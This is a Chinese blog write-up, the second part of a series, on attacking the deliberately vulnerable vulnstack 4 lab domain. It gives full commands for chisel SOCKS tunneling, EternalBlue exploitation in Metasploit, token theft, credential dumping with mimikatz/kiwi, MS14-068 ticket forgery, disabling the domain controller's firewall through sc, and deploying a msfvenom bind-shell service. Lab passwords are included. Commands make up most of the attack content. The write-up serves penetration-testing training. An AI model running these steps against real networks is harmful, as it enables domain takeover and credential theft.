当前位置: 首页 > news >正文

红日靶场vulnstark 4靶机的测试报告[细节](二)

目录

一、测试环境

1、系统环境

2、注意事项

3、使用工具/软件

二、测试目的

三、操作过程

4、内网代理

5、内网信息收集

6、横向移动

 7、域内信息搜集

8、获取域控管理员权限

9、上线域控服务器

四、结论


一、测试环境

1、系统环境

渗透机:kali2021.1(192.168.200.131)

靶  机:域控主机DC[192.168.183.130(仅主机的183网段,配置好的固定IP)];Web[(仅主机的183网段,192.168.183.128,配置好的固定IP);192.168.200.145(NAT网卡)];win7(仅主机的183网段,192.168.183.131,配置好的固定IP)。

密码信息(默认密码):

  • Web服务器:ubuntu/ubuntu
  • 域成员主机:douser/Dotest123
  • 域控主机默认密码:administrator/Test2008
  • 域控主机修改后的密码:Admin123456

2、注意事项

  1. 设置一个仅主机网卡,网段为183;每台主机的仅主机网卡使用这个即可。设置完成三台主机即可互相ping通。
  2. 域内主机win7无法以管理员权限运行文件, 提示“目前没有可用的登录服务器处理登录请求”,不过仅主机网卡即可通信,无伤大雅。
  3. Web主机ubuntu需要手动开启环境s2-045、CVE-2017-12615、CVE-2018-12613,命令如下:
cd /home/ubuntu/Desktop/vulhub/struts2/s2-045
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/tomcat/CVE-2017-12615/
sudo docker-compose up -d
cd /home/ubuntu/Desktop/vulhub/phpmyadmin/CVE-2018-12613/
sudo docker-compose up -d

开启后即完成了环境搭建

3、使用工具/软件

Kali: chisel(内网代理)、gunzip(解压gz文件)、msfconsole(内网渗透和漏洞利用)、kiwi(获取密码信息、msf的模块)

mobaxterm(shell管理)、railgun(端口扫描)、MS14-68.exe(漏洞exp)、mimikatz.exe(域渗透工具)

参考文章:https://www.cnblogs.com/miraitowa666/p/14841135.html

另外两篇文章地址:

红日靶场vulnstark 4靶机的测试报告[细节](一)-CSDN博客文章浏览阅读402次,点赞10次,收藏5次。基于渗透测试流程测试vulnstark 4靶场;红日靶场;docker逃逸;tomcat框架;struts 2框架;phpmyadmin框架;冰蝎马;ssh登录。https://blog.csdn.net/2301_79698171/article/details/144305776?spm=1001.2014.3001.5501

红日靶场vulnstark 4靶机的测试报告[细节](三)-CSDN博客文章浏览阅读372次,点赞12次,收藏8次。基于渗透测试流程测试vulnstark 4靶场;https://blog.csdn.net/2301_79698171/article/details/144308001?spm=1001.2014.3001.5501 

二、测试目的

做代理攻击内网,获取内网主机shell,利用漏洞攻击域控,获取域控权限。

三、操作过程

这里接着上篇文章写,已经获取到了web靶机ubuntu的root权限,可以ssh登录了。

4、内网代理

        怎样算进入内网呢?靶机的web服务器ubuntu在外网能访问到,可以通过该机转发到内网环境,访问内网(域控服务器和域控主机)。这就需要将外网可访问的web机及其指定端口作为我们的代理,通过代理就可以访问内网的域成员机,要点在于权限维持。如果没有代理端口稳定持久性转发流量,而直接使用拿下的web服务器作为跳板,则漏洞的利用一般会很不稳定甚至很难连通,难以有效利用。

msf内置了socks模块,在session但基础上配置路由,调用即可使用,但是速度和稳定性都很差,一般不直接单独使用。

代理方法:chisel+msf方法攻入内网

chisel工具地址:https://github.com/jpillora/chisel

Chisel可用来搭建内网隧道,类似于常用的frp和nps之类的工具。chisel可以进行端口转发、反向端口转发以及Socks流量代理,使用go语言编写,支持多个平台使用,其使用SSH加密,有比较好的安全性。具有断开等待和重连机制,服务端与客户端一体,稳定性好。

在ubuntu靶机,使用chisel作为服务端server

我使用mobaxterm直接上传文件到/root/目录

gunzip chisel_1.10.1_linux_amd64.gz
mv chisel_1.10.1_linux_amd64 chisel_1.10.1
chmod +x chisel_1.10.1
./chisel_1.10.1 server -p 2333 --socks5

在攻击机kali开启客户端client

gunzip chisel_1.10.1_linux_amd64.gz
mv chisel_1.10.1_linux_amd64 chisel_1.10.1
chmod +x chisel_1.10.1
./chisel_1.10.1 client 192.168.200.145:2333 socks

这样攻击机kali1080端口开启了socks5监听,实现了ubuntu靶机的2333端口的流量转发到攻击机kali的1080端口

5、内网信息收集

可以使用mobaxterm的网络工具探测存活主机

内网有三台机器:192.168.183.128(ubuntu)、192.168.183.130、192.168.183.131

此时msf已设置好SOCKS 5代理

可以使用railgun工具扫描端口,地址如下:

Release v2.0.3 · lz520520/railgun · GitHubContribute to lz520520/railgun development by creating an account on GitHub.icon-default.png?t=O83Ahttps://github.com/lz520520/railgun/releases/tag/v2.0.3

解压密码:railgun

扫描常见的81个端口

扫描结果也可以导出为excel

192.168.183.130:135、137、389、445、88

192.168.183.131:135、445

130主机开启了389端口,该端口通常是域控服务器开启的端口,130可能就是域控服务器

6、横向移动

192.168.183.131主机开放了445端口,尝试MS17-010漏洞(永恒之蓝)。

msf全局把代理指向127.0.0.1:1080(攻击机1080端口进行socks5监听,前面配好的不要关)。

setg Proxies socks5:127.0.0.1:1080
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set  AutoRunScript post/windows/manage/migrate
set rhost 192.168.183.131
set lport 4444
run

成功利用永恒之蓝漏洞,获取meterpreter

查看系统权限,获取了SYSTEM权限

192.168.183.130主机开放了445端口,尝试MS17-010漏洞。

search ms17-010
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set rhost 192.168.183.130
set lport 4444
run

但是域控服务器利用永恒之蓝失败,很多次都这样,放弃。

很可能域控服务器防火墙开着。

 7、域内信息搜集

使用131主机进行域内信息搜集

shell
ping demo.com

可以看到dns解析为:192.168.183.130,域控服务器的IP是:192.168.183.130

使用smart_hashdump获取内网密码哈希

使用该模块需要靶机为SYSTEM权限

run post/windows/gather/smart_hashdump

但这不是域控服务器,Administrator密码是假的[空密码],信息没什么用

进行域内渗透

解决乱码问题的命令:

chcp 65001

net view /domain       #查看域中其他主机名称

net view /domain:DEMO #查看域中主机

两台主机,win7是本机、另一台是域控服务器

\\TESTWIN7-PC

\\WIN-ENS2VR5TR3N

net localgroup administrators #查看本地管理员组

net group "domain controllers" /domain      #查看域控主机的名字

但是被拒绝连接了,这需要域用户才能访问,非域用户没有权限执行命令,需要降低权限到普通域用户,或者假冒普通用户,如DEMO/douser令牌

ps命令查看vmtoolsd.exe的进程id

ps

盗用域用户权限

steal_token 2804

再次whoami查看权限, 已经变成了demo\douser域用户权限

查看完整域名

wmic computersystem get domain

查看域中的用户

net group "domain users" /domain

存在三个域用户:

Administrator、douser、krbtgt

krbtrt 即域Kerberos账户。Kerberos是西方神话中守卫地狱之门的三头犬的名字。只所以使用这个名字是因为Kerberos需要三方的共同参与,才能完成一次事务处理。

Windows活动目录中使用的客户/服务器认证协议,为通信双方提供双向身份认证。相互认证或请求服务的实体被称为委托人(principal)。参与的中央服务器被称为密钥分发中心(简称KDC)。KDC有两个服务组成:身份验证服务(Authentication Server,简称AS)和票据授予服务(Ticket Granting Server,简称TGS)。在Windows域环境下,身份验证服务和票据授予服务可同时运行在任何可写域控服务器上。Kerberos黄金票据或者认证票据是有效的伪造TGT,它作为TGS-REQ的一部分被发送到域控服务器以获得服务票据。

whoami /all

查看用户的sid

systeminfo

查看系统信息,补丁信息

没有打MS14-68的漏洞补丁,补丁号:KB3011780

可能存在该漏洞,该漏洞危害很大,可能允许攻击者将未经授权的域用户账户的权限,提权到域管理员的权限。

8、获取域控管理员权限

进攻域控192.168.183.130

回到meterpreter使用命令rev2self来恢复系统最高权限

rev2self

sometimes最高用户权限执行mimikatz会报错,还需要假冒系统用户的令牌。

载入kiwi模块

列出所有凭据

creads_all

douser/Dotest123

或者使用mimikatz一样的,靶机需要上传mimikatz.exe,这个靶机是桌面上给了一个的

Mimikatz是法国人Gentil  Kiwi写的一款windows平台下的轻量级调试器,于2014年4月发起。它的功能非常强大,支持从windows进程lsass.exe  里猎取windows处于active状态账号明文密码、哈希、PIN码和Kerberos凭证,以及pass-the-hash、pass-the-ticket、build Golden tickets等数种黑客技术,还可以本地提权等操作,如果成功则拥有域管理权限,可任意访问域中所有机器,在内网中杀伤力很大。

mimikatz.exe sekurlsa::logonpasswords

使用MS14-069.exe生成票据,需要普通用户的sid

MS14-068.exe -u douser@demo.com -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130

成功生成票据文件

使用mimikatz注入票据

mimikatz.exe
kerberos::purge   #清空当前主机中所有凭证,否则会影响凭证伪造
kerberos::list       #查看当前机器凭证
kerberos::ptc  <生成的票据文件>      #将票据注入到内存中

可以看到成功将票据注入了内存

进行网络连接域控服务器判断是否攻入域控

net use \\WIN-ENS2VR5TR3N
dir \\WIN-ENS2VR5TR3N\c$

可以看到成功进入域控服务器,看到了域控服务器的文件,也就是拥有了域管理员权限

9、上线域控服务器

使用sc命令关闭域控的防火墙

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall

该命令使用sc设置了一个unablefirewall服务,调用路径中是停止防火墙的命令。

启动该服务时,服务未响应是正常的。

 

此时,关闭了防火墙,那么就可以用永恒之蓝直接上线了

setg Proxies socks5:127.0.0.1:1080
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set  AutoRunScript post/windows/manage/migrate
set rhost 192.168.183.130
set lport 1888
run

不过这样打靶学到太少,尝试使用msf生成正向连接,获取shell。

使用msfvenom生成正向连接payload

msfvenom -p windows/x64/meterpreter/bind_tcp  lport=5555 -f exe-service  -o bind.exe

上传到131主机

upload bind.exe C:\\Windows\\system32

再将exp从131主机复制到域控服务器c盘

xcopy bind.exe \\WIN-ENS2VR5TR3N\c$
dir \\WIN-ENS2VR5TR3N\c$

可以看到成功复制

靶机创建服务执行bind.exe

sc \\WIN-ENS2VR5TR3N create bind3 binpath="C:\\bind.exe"
sc \\WIN-ENS2VR5TR3N start bind3

kali开启一个新窗口,设置msf正向监听(后一步执行,运行直接能监听到shell)

use exploit/multi/handler
set payload windows/x64/meterpreter/bind_tcp
set lport 5555
set rhost 192.168.183.130
run

而且是SYSTEM权限

可以直接使用kiwi获取administrator的密码

load kiwi
creds_all

这个密码是修改过的,成功获取正确密码

为了执行域命令,需要获取域管理员权限

ps
steal_token 2196
getuid

四、结论

攻击内网需要配置内网代理,好在本地对靶机进行渗透;ms14-68漏洞有很大的危害,可以直接拿下域控的权限;mimikatz工具功能十分强大,几条命令即可控制域控的票据;通过这个靶场对内网有更深入了解;msf功能也是十分强大。

下篇文章会获取黄金票据,进行权限维持和痕迹清理操作,最后一篇了。明天发哈~(2024.12.07)


http://www.mrgr.cn/news/79424.html

相关文章:

  • golang实现简单的redis服务
  • [C++]构造函数和析构函数
  • 第1章:CSS简介 --[CSS零基础入门]
  • nginx代理rabbitmq和配置 Nginx 代理达梦数据库
  • ubuntu下Qt5自动编译配置QtMqtt环境(10)
  • D91【python 接口自动化学习】- pytest基础用法
  • 残差网络连接,使得输入与输出的尺寸一样
  • 十九(GIT2)、token、黑马就业数据平台(页面访问控制(token)、首页统计数据、登录状态失效)、axios请求及响应拦截器、Git远程仓库
  • 海选女主角
  • Day7 苍穹外卖项目 缓存菜品、SpringCache框架、缓存套餐、添加购物车、查看购物车、清空购物车
  • TTC模型(1D和2D)理论推导及python实现
  • 不同系统查看软件占用端口的方式
  • MySQL-DDL之数据库操作
  • vue异步更新,$nextTick
  • 嵌入式系统与移动设备开发
  • SQL:从某行开始,查询一定行数的语句
  • (长期更新)《零基础入门 ArcGIS(ArcMap) 》实验三----学校选址与路径规划(超超超详细!!!)
  • (六)腾讯cloudstudio+Stable-Diffusion-webui AI绘画教程-白嫖clould studio算力
  • English phonetic symbol
  • 001 LVGL PC端模拟搭建